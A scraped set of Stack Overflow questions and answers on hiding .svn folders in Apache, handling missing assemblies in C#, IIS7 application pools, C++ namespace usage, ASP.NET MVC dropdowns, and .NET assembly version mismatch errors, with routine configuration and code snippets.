"text": "<p>In the same situation, I used <code>RedirectMatch</code>, for two reasons. Primarily, it was the only method I could find that was allowed in <code>.htaccess</code> on that server with a fairly restrictive config that I couldn't modify. Also I consider it cleanest, because it allows me to tell Apache that yes, there's a file there, but just pretend it's not when serving, so return 404 (as opposed to 403 which would expose things that website viewers shouldn't be aware of).</p>\n\n<p>I now consider the following as a standard part of my <code>.htaccess</code> files:</p>\n\n<pre>\n## Completely hide some files and directories.\nRedirectMatch 404 \"(?:.*)/(?:[.#].*)$\"\nRedirectMatch 404 \"(?:.*)~$\"\nRedirectMatch 404 \"(?:.*)/(?:CVS|RCS|_darcs)(?:/.*)?$\"\n</pre>\n"
},
{
"answer_id": 10870545,
"author": "Erwan",
"author_id": 922704,
"author_profile": "https://Stackoverflow.com/users/922704",
"pm_score": 3,
"selected": false,
"text": "<p>I use the following which returns a simple 404 to the user, not revealing that the source control directory actually exists:</p>\n\n<p>RedirectMatch 404 /\\.(svn|git)(/|$)</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214886",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15537/"
] |
I want to keep my website/s in version control (Subversion specifically) and use `svn co` to update it when there are stable versions to update, but I'm concerned about the security of doing so, as all the `.svn` folders will be public, and these include all sorts of private data, not least of which is complete source code to my website!
Is there anything I can I do to prevent this?
|
Two things:
1. Do not use IfModule for functionality you need to be present. It's okay to do it for the autoindex because it might not be present and is not crucial to the scheme. But you are counting on rewrite being present to protect your content. Thus, it's better to remove the IfModule directive and let apache tell you when rewrite is not present for you to enable it (or at least know that you won't be 'protected' and consciously comment the lines)
2. No need to use rewrite there if you have access to main configuration files, much easier would be one of
```
<DirectoryMatch \.svn>
Order allow,deny
Deny from all
</DirectoryMatch>
```
which will generate 403 Forbidden (which is better from HTTP compliance point of view)
or, if you want to take the security by obscurity route, use AliasMatch
```
AliasMatch \.svn /non-existant-page
```
If you don't have access to main configuration files you're left with hoping mod\_rewrite is enabled for usage in .htaccess.
|
214,903 |
<p>I have a small command line program that uses the Team System API. When the correct Team System isn't installed on the machine, the program prints a traceback with System.IO.FileNotFoundException, but it also <strong>crashes</strong> and shows the standard error messasge:</p>
<blockquote>
<p>XXX has encountered a problem and
needs to close. We are sorry for the
inconvenience.</p>
</blockquote>
<p>I just want my program to print a "The program requires Team System 2008" message to the console and quit without crashing.</p>
<p>From what I understand this whole loading process is happening before the first line of my C# code is run. Is there any way to control this?</p>
|
[
{
"answer_id": 214918,
"author": "Nescio",
"author_id": 14484,
"author_profile": "https://Stackoverflow.com/users/14484",
"pm_score": 1,
"selected": false,
"text": "<p>You can try to <a href=\"http://blogs.msdn.com/junfeng/archive/2006/03/27/561775.aspx\" rel=\"nofollow noreferrer\">Override CLR Assembly Probing Logic</a> </p>\n\n<p>In the .Net framework, when resolving an assembly reference, the CLR first checks the GAC, then searches the application directory in specific locations. If the assembly is not in one of those locations, CLR will fire AssemblyResolve event. You can subscribe to <strong>AssemblyResolve</strong> event and return the assembly using Assembly.LoadFrom/LoadFile, etc. </p>\n\n<p>However, in your case, you can just show your messagebox and then shutdown cleanly.</p>\n"
},
{
"answer_id": 214921,
"author": "Joe",
"author_id": 13087,
"author_profile": "https://Stackoverflow.com/users/13087",
"pm_score": 0,
"selected": false,
"text": "<p>Yes. The assembly will be loaded the first time you use a type that itself references a type from the assembly to be loaded. </p>\n\n<p>So the solution is to create a helper class that wraps all interaction with the API. Then wrap calls to this wrapper class in a try/catch.</p>\n\n<p>Something like:</p>\n\n<pre><code>public class Program\n{\n static void Main()\n {\n try\n {\n WrapperClass.CallApi(...);\n }\n catch(FileNotFoundException)\n {\n ... you can e.g. show a MessageBox and exit here ... \n }\n }\n}\n\ninternal class WrapperClass\n{\n public void CallApi(...)\n {\n ... you can reference types from the Team System assembly in WrapperClass\n }\n}\n</code></pre>\n"
},
{
"answer_id": 214970,
"author": "Marc Gravell",
"author_id": 23354,
"author_profile": "https://Stackoverflow.com/users/23354",
"pm_score": 3,
"selected": true,
"text": "<p>.NET code is JITted on a method-by-method basis. Does your \"Main\" method make reference to the external libraries? If so, consider:</p>\n\n<pre><code>[MethodImpl(MethodImplOptions.NoInlining)]\nstatic int Main() { // add \"args\" etc if needed\n try {\n return Main2();\n } catch (Exception ex) {\n Console.Error.WriteLine(ex.Message);\n return 1;\n }\n}\nstatic int Main2() { // add \"args\" etc if needed\n // your real code\n}\n</code></pre>\n\n<p>I can't guarantee it will work, but it is worth a try...</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214903",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/15109/"
] |
I have a small command line program that uses the Team System API. When the correct Team System isn't installed on the machine, the program prints a traceback with System.IO.FileNotFoundException, but it also **crashes** and shows the standard error messasge:
>
> XXX has encountered a problem and
> needs to close. We are sorry for the
> inconvenience.
>
>
>
I just want my program to print a "The program requires Team System 2008" message to the console and quit without crashing.
From what I understand this whole loading process is happening before the first line of my C# code is run. Is there any way to control this?
|
.NET code is JITted on a method-by-method basis. Does your "Main" method make reference to the external libraries? If so, consider:
```
[MethodImpl(MethodImplOptions.NoInlining)]
static int Main() { // add "args" etc if needed
try {
return Main2();
} catch (Exception ex) {
Console.Error.WriteLine(ex.Message);
return 1;
}
}
static int Main2() { // add "args" etc if needed
// your real code
}
```
I can't guarantee it will work, but it is worth a try...
|
214,915 |
<p>I'm trying to assign application pool to one web site in IIS7 using vb script:</p>
<pre><code>' Connect to the WMI WebAdministration namespace.'
Set oWebAdmin = GetObject("winmgmts:root\WebAdministration")
' Retrieve the application and display its Web site name and path.'
Set oApp = oWebAdmin.Get("Application.SiteName='Default Web Site',Path='/site'")
' Specify a new application pool name and save it.'
oApp.ApplicationPool = "NewAppPool"
oApp.Put_
</code></pre>
<p>the above script is not working!</p>
<p>Is there is a better way to assign application pool to web site under IIS (Using script)?</p>
|
[
{
"answer_id": 214935,
"author": "Jim Fiorato",
"author_id": 650,
"author_profile": "https://Stackoverflow.com/users/650",
"pm_score": 1,
"selected": false,
"text": "<p>Are you setting the app pool on a web site or a virtual directory?</p>\n\n<p>i.e., \"Default Web Site/site\" (virtual directory) or just \"Site\" (web site).</p>\n\n<p>If you trying to set it on a web site, not a virtual directory, you need to do something like:</p>\n\n<pre><code>Set oWebAdmin = GetObject(\"winmgmts:root\\WebAdministration\")\nSet oSite = oWebAdmin.Get(\"Site.Name='Site'\")\noSite.ApplicationDefaults.ApplicationPool = \"NewAppPool\"\noSite.Put_\n</code></pre>\n"
},
{
"answer_id": 32730049,
"author": "Silvio Sabino",
"author_id": 5365846,
"author_profile": "https://Stackoverflow.com/users/5365846",
"pm_score": 0,
"selected": false,
"text": "<p>The correct way is:</p>\n\n<pre><code>Set oWebAdmin = GetObject(\"Application.Path='/site',SiteName='Default Web Site'\")\n</code></pre>\n\n<p>instead of:</p>\n\n<pre><code>Set oWebAdmin = GetObject(\"Application.SiteName='Default Web Site',Path='/site'\")\n</code></pre>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214915",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
I'm trying to assign application pool to one web site in IIS7 using vb script:
```
' Connect to the WMI WebAdministration namespace.'
Set oWebAdmin = GetObject("winmgmts:root\WebAdministration")
' Retrieve the application and display its Web site name and path.'
Set oApp = oWebAdmin.Get("Application.SiteName='Default Web Site',Path='/site'")
' Specify a new application pool name and save it.'
oApp.ApplicationPool = "NewAppPool"
oApp.Put_
```
the above script is not working!
Is there is a better way to assign application pool to web site under IIS (Using script)?
|
Are you setting the app pool on a web site or a virtual directory?
i.e., "Default Web Site/site" (virtual directory) or just "Site" (web site).
If you trying to set it on a web site, not a virtual directory, you need to do something like:
```
Set oWebAdmin = GetObject("winmgmts:root\WebAdministration")
Set oSite = oWebAdmin.Get("Site.Name='Site'")
oSite.ApplicationDefaults.ApplicationPool = "NewAppPool"
oSite.Put_
```
|
214,927 |
<p>When using C++ namespaces, do you prefer to explicitly name them, like this:</p>
<pre><code>std::cout << "Hello, world!\n";
</code></pre>
<p>Or do you prefer <code>using namespace</code>:</p>
<pre><code>using namespace std;
cout << "Hello, world!\n";
</code></pre>
<p>And if if you prefer the latter, do you declare your usings at file or function scope?</p>
<p>Personally I prefer to explicitly name them - it's more typing but when using a mixture of namespaces (e.g. <code>std</code> and <code>boost</code>) I find it more readable.</p>
|
[
{
"answer_id": 214933,
"author": "Ferruccio",
"author_id": 4086,
"author_profile": "https://Stackoverflow.com/users/4086",
"pm_score": 5,
"selected": true,
"text": "<p>I always use <code>using namespace</code> for std & boost. Everything else I tend to use an explicit namespace unless it is used so much that it would clutter up the code.</p>\n\n<p>In headers, I never use <code>using namespace</code> to avoid polluting the global namespace of the #including source.</p>\n"
},
{
"answer_id": 214936,
"author": "Bill the Lizard",
"author_id": 1288,
"author_profile": "https://Stackoverflow.com/users/1288",
"pm_score": 2,
"selected": false,
"text": "<p>I only use explicit namespaces when there's some ambiguity. It is more readable, but the extra typing is too tedious, and you have to assume other developers have a baseline level of familiarity with standard libraries.</p>\n\n<p>The only other times I spell out a namespace are when I'm only using it once or twice, like adding in a quick debug statement, or if I'm using some non-standard library.</p>\n\n<p>I typically declare the namespace at file scope, but if you're mixing namespaces it might make sense to put the declaration closer to the point where it's used, in function scope.</p>\n"
},
{
"answer_id": 214938,
"author": "Nazgob",
"author_id": 3579,
"author_profile": "https://Stackoverflow.com/users/3579",
"pm_score": 4,
"selected": false,
"text": "<p>I use always explicit ones. Writing std does not hurt me and I clearly see where is it from. It's useful when you have some legacy project to take care of with it's own \"strings\", \"vectors\" etc to maintain. The more information the code carries with it, the better.</p>\n"
},
{
"answer_id": 214959,
"author": "Gerald",
"author_id": 19404,
"author_profile": "https://Stackoverflow.com/users/19404",
"pm_score": 2,
"selected": false,
"text": "<p>My general rule is always explicitly use the namespace in headers, and usually use using in the code. The reason for the former is to make it explicitly clear in every part of the definition what is being used, and the reason for the latter is that it makes it easy to use replacements from another namespace if that becomes necessary. i.e. if we want to start using foo::string instead of std::string we just need to update the header and the using statement rather than replacing every instance of std::string with foo::string in the code.</p>\n\n<p>Of course, that is less useful for classes that reside in the std:: namespace, since even if you replace one class you're still likely to use others in std, and may run into ambiguity issues, but that was just an example.</p>\n"
},
{
"answer_id": 214961,
"author": "Konrad Rudolph",
"author_id": 1968,
"author_profile": "https://Stackoverflow.com/users/1968",
"pm_score": 4,
"selected": false,
"text": "<p>Extra typing is not the issue here. The problem with explicitly qualified names is the visual clutter. Let's face it, C++ syntax is untidy. No need to make this worse by needlessly making names longer and sprinkling the code generously with <code>::</code>s.</p>\n\n<p>I'm with Jeff Atwood: <a href=\"http://www.codinghorror.com/blog/archives/000878.html\" rel=\"noreferrer\">The Best Code is No Code At All</a>. This is so true.</p>\n\n<p>Namespace imports are a great way of reducing clutter with no drawback: As long as the scope of opened namespaces is reduced to a single compilation unit<sup>1</sup>, name conflicts, should they appear, can be resolved easily.</p>\n\n<p>Why explicit names should (in general) be more readable has always been a mystery to me. The readers should generally know the code good enough to be able to deduce semantics. If they aren't, the code needs fixing anyway.</p>\n\n<hr>\n\n<p><sup>1)</sup> Corollary: no <code>using</code> in headers!</p>\n"
},
{
"answer_id": 215019,
"author": "Nemanja Trifunovic",
"author_id": 8899,
"author_profile": "https://Stackoverflow.com/users/8899",
"pm_score": 2,
"selected": false,
"text": "<p><code>using</code> at function scope, or if the function is very small (often is), just explicit namespace</p>\n"
},
{
"answer_id": 215136,
"author": "xtofl",
"author_id": 6610,
"author_profile": "https://Stackoverflow.com/users/6610",
"pm_score": 2,
"selected": false,
"text": "<p><code>using</code> and <code>using namespace</code> are Very Very useful to render the code more readable - remove clutter.</p>\n\n<p>But in any case where it makes it harder to find out where a symbol comes from, I refuse importing it's whole namespace.</p>\n\n<p>I try to limiit the scope of the imported namespaces:</p>\n\n<pre><code>void bar() {\n\n // do stuff without vector\n\n { using std::vector;\n // do stuff with vector\n }\n\n // do stuff without vector\n}\n</code></pre>\n\n<p>For \"generally known\" libraries, like <code>std</code>, I would dare using <code>using namespace std</code>. There is reason to believe everyone reading this code knows these symbols.</p>\n\n<p>As a sidenote, the <code>using</code> keyword is also used to indicate that a derived class also exports the overloaded members of its superclass.</p>\n\n<pre><code>class A {\n void f( A );\n void f( bool );\n};\n\nclass B : public A {\n using A::f; // without this, we get a compilation error in foo()\n void f(bool);\n};\n\nvoid foo() {\n B b;\n b.f( A() ); // here's a compilation error when no `using` is used in B\n}\n</code></pre>\n"
},
{
"answer_id": 215377,
"author": "Len Holgate",
"author_id": 7925,
"author_profile": "https://Stackoverflow.com/users/7925",
"pm_score": 2,
"selected": false,
"text": "<p>I tend to explicitly import the names that I need at the top of the .cpp file, so...</p>\n\n<p>using std::cout;\nusing std::endl;</p>\n\n<p>etc...</p>\n\n<p>That way I have control over the names that I use and it's easy to see where they come from and the code isn't cluttered at the point of use.</p>\n\n<p>In the rare cases where I am using two names from different namespaces I fully qualify them at the point of use.</p>\n\n<p>I always use fully qualified names in headers and hardly ever use 'using namespace x' anywhere...</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214927",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/9236/"
] |
When using C++ namespaces, do you prefer to explicitly name them, like this:
```
std::cout << "Hello, world!\n";
```
Or do you prefer `using namespace`:
```
using namespace std;
cout << "Hello, world!\n";
```
And if if you prefer the latter, do you declare your usings at file or function scope?
Personally I prefer to explicitly name them - it's more typing but when using a mixture of namespaces (e.g. `std` and `boost`) I find it more readable.
|
I always use `using namespace` for std & boost. Everything else I tend to use an explicit namespace unless it is used so much that it would clutter up the code.
In headers, I never use `using namespace` to avoid polluting the global namespace of the #including source.
|
214,998 |
<p>How to dynamically bind data to <code><%Html.Dropdownlist....</code> in ASP.NET MVC?</p>
|
[
{
"answer_id": 215023,
"author": "hangy",
"author_id": 11963,
"author_profile": "https://Stackoverflow.com/users/11963",
"pm_score": 4,
"selected": false,
"text": "<p>Just pass the correct IEnumerable as the typed model or ViewData. Try something like this (out of my head):</p>\n\n<pre><code><%= Html.DropDownList(string.Empty, \n \"myDropDownList\", \n new SelectList((IEnumerable)ViewData[\"stuff\"], \n \"DescriptionProperty\", \n \"ValueProperty\")) \n%>\n</code></pre>\n\n<p>With that drop down list helper in MVC, you do not really \"bind\" data to it in the way it is done in the old ASP.NET.</p>\n"
},
{
"answer_id": 1105194,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p><a href=\"http://www.altafkhatri.com/Technical/How_to_bind_IList_with_MVC_Dropdownlist_box\" rel=\"nofollow noreferrer\">link text</a>The link below provides 2 methods to bind dropdownlist.\nBind Dropdownlist</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/214998",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/29215/"
] |
How to dynamically bind data to `<%Html.Dropdownlist....` in ASP.NET MVC?
|
Just pass the correct IEnumerable as the typed model or ViewData. Try something like this (out of my head):
```
<%= Html.DropDownList(string.Empty,
"myDropDownList",
new SelectList((IEnumerable)ViewData["stuff"],
"DescriptionProperty",
"ValueProperty"))
%>
```
With that drop down list helper in MVC, you do not really "bind" data to it in the way it is done in the old ASP.NET.
|
215,026 |
<p>I am trying to run some unit tests in a C# Windows Forms application (Visual Studio 2005), and I get the following error:</p>
<blockquote>
<p>System.IO.FileLoadException: Could not load file or assembly 'Utility, Version=1.2.0.200, Culture=neutral, PublicKeyToken=764d581291d764f7' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)**</p>
<p>at x.Foo.FooGO()</p>
<p>at x.Foo.Foo2(String groupName_) in Foo.cs:line 123</p>
<p>at x.Foo.UnitTests.FooTests.TestFoo() in FooTests.cs:line 98**</p>
<p>System.IO.FileLoadException: Could not load file or assembly 'Utility, Version=1.2.0.203, Culture=neutral, PublicKeyToken=764d581291d764f7' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)</p>
</blockquote>
<p>I look in my references, and I only have a reference to <code>Utility version 1.2.0.203</code> (the other one is old).</p>
<p>Any suggestions on how I figure out what is trying to reference this old version of this DLL file?</p>
<p>Besides, I don't think I even have this old assembly on my hard drive.
Is there any tool to search for this old versioned assembly?</p>
|
[
{
"answer_id": 215054,
"author": "Lars Truijens",
"author_id": 1242,
"author_profile": "https://Stackoverflow.com/users/1242",
"pm_score": 10,
"selected": true,
"text": "<p>The .NET Assembly loader:</p>\n<ul>\n<li>is unable to find 1.2.0.203</li>\n<li>but did find a 1.2.0.200</li>\n</ul>\n<p>This assembly does not match what was requested and therefore you get this error.</p>\n<p>In simple words, it can't find the assembly that was referenced. Make sure it can find the right assembly by putting it in the GAC or in the application path.</p>\n<p>run below command to add the assembly dll file to GAC:</p>\n<pre class=\"lang-bash prettyprint-override\"><code>gacutil /i "path/to/my.dll"\n</code></pre>\n<p>Also see <a href=\"https://learn.microsoft.com/archive/blogs/junfeng/the-located-assemblys-manifest-definition-with-name-xxx-dll-does-not-match-the-assembly-reference\" rel=\"noreferrer\">https://learn.microsoft.com/archive/blogs/junfeng/the-located-assemblys-manifest-definition-with-name-xxx-dll-does-not-match-the-assembly-reference</a>.</p>\n"
},
{
"answer_id": 220029,
"author": "Seth Petry-Johnson",
"author_id": 23632,
"author_profile": "https://Stackoverflow.com/users/23632",
"pm_score": 7,
"selected": false,
"text": "<p>You can do a couple of things to troubleshoot this issue. First, use Windows file search to search your hard drive for your assembly (.dll). Once you have a list of results, do View->Choose Details... and then check \"File Version\". This will display the version number in the list of results, so you can see where the old version might be coming from.</p>\n\n<p>Also, like Lars said, check your GAC to see what version is listed there. <a href=\"http://msdn.microsoft.com/en-us/library/ez524kew(VS.80).aspx\" rel=\"noreferrer\">This Microsoft article</a> states that assemblies found in the GAC are not copied locally during a build, so you might need to remove the old version before doing a rebuild all. (See my answer to <a href=\"https://stackoverflow.com/questions/163748/com-registration-and-the-gac#164707\">this question</a> for notes on creating a batch file to do this for you)</p>\n\n<p>If you still can't figure out where the old version is coming from, you can use the fuslogvw.exe application that ships with Visual Studio to get more information about the binding failures. Microsoft has information about this tool <a href=\"http://msdn.microsoft.com/en-us/library/e74a18c4(VS.80).aspx\" rel=\"noreferrer\">here</a>. Note that you'll have to enable logging by setting the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Fusion\\EnableLog</code> registry key to 1.</p>\n"
},
{
"answer_id": 1370796,
"author": "Neal Tibrewala",
"author_id": 167575,
"author_profile": "https://Stackoverflow.com/users/167575",
"pm_score": 5,
"selected": false,
"text": "<p>I just ran across this issue and the problem was I had an old copy of the .dll in my application debug directory. You might want to also check there (instead of the GAC) to see if you see it.</p>\n"
},
{
"answer_id": 1751093,
"author": "Nathan Bedford",
"author_id": 434,
"author_profile": "https://Stackoverflow.com/users/434",
"pm_score": 6,
"selected": false,
"text": "<p>I just ran into this problem myself, and I found that the issue was something different than what the others have run into.</p>\n\n<p>I had two DLLs that my main project was referencing: CompanyClasses.dll and CompanyControls.dll. I was getting a run-time error saying:</p>\n\n<blockquote>\n <p>Could not load file or assembly\n 'CompanyClasses, Version=1.4.1.0,\n Culture=neutral,\n PublicKeyToken=045746ba8544160c' or\n one of its dependencies. The located\n assembly's manifest definition does\n not match the assembly reference</p>\n</blockquote>\n\n<p>Trouble was, I didn't have any CompanyClasses.dll files on my system with a version number of 1.4.1. None in the GAC, none in the app folders...none anywhere. I searched my entire hard drive. All the CompanyClasses.dll files I had were 1.4.2. </p>\n\n<p>The real problem, I found, was that CompanyControls.dll referenced version 1.4.1 of CompanyClasses.dll. I just recompiled CompanyControls.dll (after having it reference CompanyClasses.dll 1.4.2) and this error went away for me.</p>\n"
},
{
"answer_id": 1782466,
"author": "Sire",
"author_id": 2440,
"author_profile": "https://Stackoverflow.com/users/2440",
"pm_score": 3,
"selected": false,
"text": "<p>For us, the problem was caused by something else. The license file for the DevExpress components included two lines, one for an old version of the components that was not installed on this particular computer. Removing the older version from the license file solved the issue. </p>\n\n<p>The annoying part is that the error message gave no indication to what reference was causing the problems.</p>\n"
},
{
"answer_id": 3158489,
"author": "nikonica",
"author_id": 381178,
"author_profile": "https://Stackoverflow.com/users/381178",
"pm_score": -1,
"selected": false,
"text": "<p>Try adding whatever's missing to the global assembly cache.</p>\n"
},
{
"answer_id": 3233980,
"author": "Tad",
"author_id": 390069,
"author_profile": "https://Stackoverflow.com/users/390069",
"pm_score": 6,
"selected": false,
"text": "<p>If you are using Visual Studio, try \"clean solution\" and then rebuild your project.</p>\n"
},
{
"answer_id": 3268952,
"author": "Guy Starbuck",
"author_id": 2194,
"author_profile": "https://Stackoverflow.com/users/2194",
"pm_score": 3,
"selected": false,
"text": "<p>This exact same error is thrown if you try to late bind using reflection, if the assembly you are binding to gets strong-named or has its public-key token changed. The error is the same even though there is not actually any assembly found with the specified public key token.</p>\n\n<p>You need to add the correct public key token (you can get it using sn -T on the dll) to resolve the error. Hope this helps.</p>\n"
},
{
"answer_id": 3435307,
"author": "Bijimon",
"author_id": 51038,
"author_profile": "https://Stackoverflow.com/users/51038",
"pm_score": 3,
"selected": false,
"text": "<p>Mine was a very similar situation to the post by Nathan Bedford but with a slight twist. My project too referenced the changed dll in two ways. 1) Directly and 2) Indirectly by referencing a component (class library) that itself had a reference to the changed dll. Now my Visual studio project for the component(2) referenced the correct version of the changed dll. However the version number of the compnent itself was NOT changed. And as a result the install of the new version of the project failed to replace that component on the client machine.</p>\n\n<p>End result: Direct reference (1) and Indirect reference(2) were pointing to different versions of the changed dll at the client machine. On my dev machine it worked fine.</p>\n\n<p>Resolution: Remove application; Delete all the DLLS from application folder; Re-install.Simple as that in my case.</p>\n"
},
{
"answer_id": 3621556,
"author": "Adam",
"author_id": 437307,
"author_profile": "https://Stackoverflow.com/users/437307",
"pm_score": -1,
"selected": false,
"text": "<p>Right click the reference in VS set \"Specific Version\" property to True.</p>\n"
},
{
"answer_id": 3720000,
"author": "Glade Mellor",
"author_id": 448675,
"author_profile": "https://Stackoverflow.com/users/448675",
"pm_score": 4,
"selected": false,
"text": "<p>In my case it was an old version of the DLL in C:\\WINDOWS\\Microsoft.NET\\Framework\\~\\Temporary ASP.NET Files\\ directory. You can either delete or replace the old version, or you can remove and add back the reference to the DLL in your project. Basically, either way will create a new pointer to the temporary ASP.NET Files. </p>\n"
},
{
"answer_id": 6658869,
"author": "dan",
"author_id": 30639,
"author_profile": "https://Stackoverflow.com/users/30639",
"pm_score": 0,
"selected": false,
"text": "<p>I received this error message due to referencing an assembly that had the same name as the assembly I was building. </p>\n\n<p>This compiled but it overwrote the referenced assembly with the current projects assembly - thus causing the error.</p>\n\n<p>To fix it I changed the name of the project, and the assembly properties available through right-clicking on the project and choosing 'Properties'.</p>\n"
},
{
"answer_id": 9687132,
"author": "Mike Murphy",
"author_id": 1266876,
"author_profile": "https://Stackoverflow.com/users/1266876",
"pm_score": 2,
"selected": false,
"text": "<p>I'll let someone benefit from my shear stupidity. I have some dependencies to a completely separate application (let's call this App1). The dll's from that App1 are pulled into my new application (App2). Any time I do updates in APP1, I have to create new dll's and copy them into App2. Well. . .I got tired of copying and pasting between 2 different App1 versions, so I simply added a 'NEW_' prefix to the dll's. </p>\n\n<p>Well. . . I'm guessing that the build process scans the /bin folder and when it matches something up incorrectly, it barfs with the same error message as noted above. I deleted my \"new_\" versions and it built just dandy.</p>\n"
},
{
"answer_id": 10359092,
"author": "AEON Blue Software",
"author_id": 1362156,
"author_profile": "https://Stackoverflow.com/users/1362156",
"pm_score": 3,
"selected": false,
"text": "<p>My issue was copying source code to a new machine without pulling over any of the referenced assemblies. </p>\n\n<p>Nothing that I did fixed the error, so in haste, I deleted the BIN directory altogether. Rebuilt my source code, and it worked from then on out.</p>\n"
},
{
"answer_id": 10850917,
"author": "Ladislav Mrnka",
"author_id": 413501,
"author_profile": "https://Stackoverflow.com/users/413501",
"pm_score": 2,
"selected": false,
"text": "<p>I just found another reason why to get this error. I cleaned my GAC from all versions of a specific library and built my project with reference to specific version deployed together with the executable. When I run the project I got this exception searching for a newer version of the library.</p>\n\n<p>The reason was <a href=\"http://msdn.microsoft.com/en-us/library/dz32563a.aspx\" rel=\"nofollow\">publisher policy</a>. When I uninstalled library's versions from GAC I forgot to uninstall publisher policy assemblies as well so instead of using my locally deployed assembly the assembly loader found publisher policy in GAC which told it to search for a newer version. </p>\n"
},
{
"answer_id": 12294861,
"author": "magicmanam",
"author_id": 1651142,
"author_profile": "https://Stackoverflow.com/users/1651142",
"pm_score": 0,
"selected": false,
"text": "<p>I had a similar problem when attempting to update one DLL file of my web-site.</p>\n\n<p>This error was occurring, when I simply copied this DLL file into bin folder over FTP.</p>\n\n<p>I resolved this problem by:</p>\n\n<ol>\n<li>stopping the web-site;</li>\n<li>copying needed DLL file/DLL files;</li>\n<li>starting the web-site</li>\n</ol>\n"
},
{
"answer_id": 12681453,
"author": "Thomas",
"author_id": 9970,
"author_profile": "https://Stackoverflow.com/users/9970",
"pm_score": 2,
"selected": false,
"text": "<p>My app.config contains a</p>\n\n<pre><code><bindingRedirect oldVersion=\"1.0.0.0\" newVersion=\"2.0.11.0\"/>\n</code></pre>\n\n<p>for npgsql. Somehow on the user's machine, my app.exe.config went missing. I am not sure if it was a silly user, installer glitch, or wacked out anti-virus yet. Replacing the file solved the issue.</p>\n"
},
{
"answer_id": 13187622,
"author": "Yaniv.H",
"author_id": 1152687,
"author_profile": "https://Stackoverflow.com/users/1152687",
"pm_score": 6,
"selected": false,
"text": "<p>The following redirects any assembly version to version 3.1.0.0. We have a script that will always update this reference in the App.config so we never have to deal with this issue again.</p>\n\n<p>Through reflection you can get the assembly publicKeyToken and generate this block from the .dll file itself.</p>\n\n<pre><code><assemblyBinding xmlns=\"urn:schemas-microsoft-com:asm.v1\">\n <dependentAssembly>\n <assemblyIdentity name=\"Castle.Core\" publicKeyToken=\"407dd0808d44fbdc\" culture=\"neutral\" />\n <bindingRedirect oldVersion=\"0.0.0.0-65535.65535.65535.65535\" newVersion=\"3.1.0.0\" />\n </dependentAssembly>\n</assemblyBinding>\n</code></pre>\n\n<p>Note that without an XML namespace attribute (xmlns) this will not work.</p>\n"
},
{
"answer_id": 15197886,
"author": "uli78",
"author_id": 61434,
"author_profile": "https://Stackoverflow.com/users/61434",
"pm_score": 2,
"selected": false,
"text": "<p>To me the code coverage configuration in the \"Local.testtesttings\" file \"caused\" the problem. I forgot to update the files that were referenced there.</p>\n"
},
{
"answer_id": 15336470,
"author": "shan",
"author_id": 2042501,
"author_profile": "https://Stackoverflow.com/users/2042501",
"pm_score": 2,
"selected": false,
"text": "<p>I faced the same problem while running my unit testcases.</p>\n\n<p>The error clearly states the problem is: when we try to load assembly, the .NET assembly loader tries to load its referred assemblies based on its manifest data (referred assembly name, public key token, version).</p>\n\n<p>To check manifest data:</p>\n\n<ol>\n<li>Open the Visual Studio command prompt,</li>\n<li>Type 'ildasm' and drag the required assembly to the ILDASM window and open MANIFEST view. Sometimes MANIFEST contains one assembly with two versions old version as well as new version(like <code>Utility, Version=1.2.0.200</code> and <code>Utility, Version=1.2.0.203</code>). In reality, the referred assembly is <code>Utility, Version=1.2.0.203(new version)</code>, but since the manifest contains even <code>Utility, Version=1.2.0.200(old version)</code>, .NET assembly loader tries to find out this versioned DLL file, fails to find and so throws exception.</li>\n</ol>\n\n<p>To solve this, just drag each of the project dependent assemblies to the ILDASM window separately and check which dependent assembly holds the manifest data with the old assembly version. Just rebuild this dependent assembly and refer it back to your project.</p>\n"
},
{
"answer_id": 17370317,
"author": "RayLoveless",
"author_id": 462971,
"author_profile": "https://Stackoverflow.com/users/462971",
"pm_score": 5,
"selected": false,
"text": "<p>The other answers wouldn't work for me. If you don't care about the version and you just want your app to run then right click on the reference and set 'specific version' to false...This worked for me.\n<img src=\"https://i.stack.imgur.com/SUDUK.png\" alt=\"enter image description here\"></p>\n"
},
{
"answer_id": 17374996,
"author": "Ben Pretorius",
"author_id": 821243,
"author_profile": "https://Stackoverflow.com/users/821243",
"pm_score": 3,
"selected": false,
"text": "<p>I would like to just add that I was creating a basic ASP.NET MVC 4 project and added DotNetOpenAuth.AspNet via NuGet. This resulted in the same error after I referenced a mismatching DLL file for Microsoft.Web.WebPages.OAuth.</p>\n\n<p>To fix it I did a <code>Update-Package</code> and cleaned the solution for a full rebuild.</p>\n\n<p>That worked for me and is kind of a lazy way, but time is money:-P</p>\n"
},
{
"answer_id": 17939085,
"author": "DevXP",
"author_id": 2580391,
"author_profile": "https://Stackoverflow.com/users/2580391",
"pm_score": 0,
"selected": false,
"text": "<p>In your AssemblyVersion in AssemblyInfo.cs file, use a fixed version number instead of specifying *. The * will change the version number on each compilation. That was the issue for this exception in my case.</p>\n"
},
{
"answer_id": 21337082,
"author": "ScubaSteve",
"author_id": 787958,
"author_profile": "https://Stackoverflow.com/users/787958",
"pm_score": 0,
"selected": false,
"text": "<p>I ran into this issue while using an internal package repository. I had added the main package to the internal repository, but not the dependencies of the package. Make sure you add all dependencies, dependencies of dependencies, recursive etc to your internal repository as well.</p>\n"
},
{
"answer_id": 22203322,
"author": "frattaro",
"author_id": 1661469,
"author_profile": "https://Stackoverflow.com/users/1661469",
"pm_score": 5,
"selected": false,
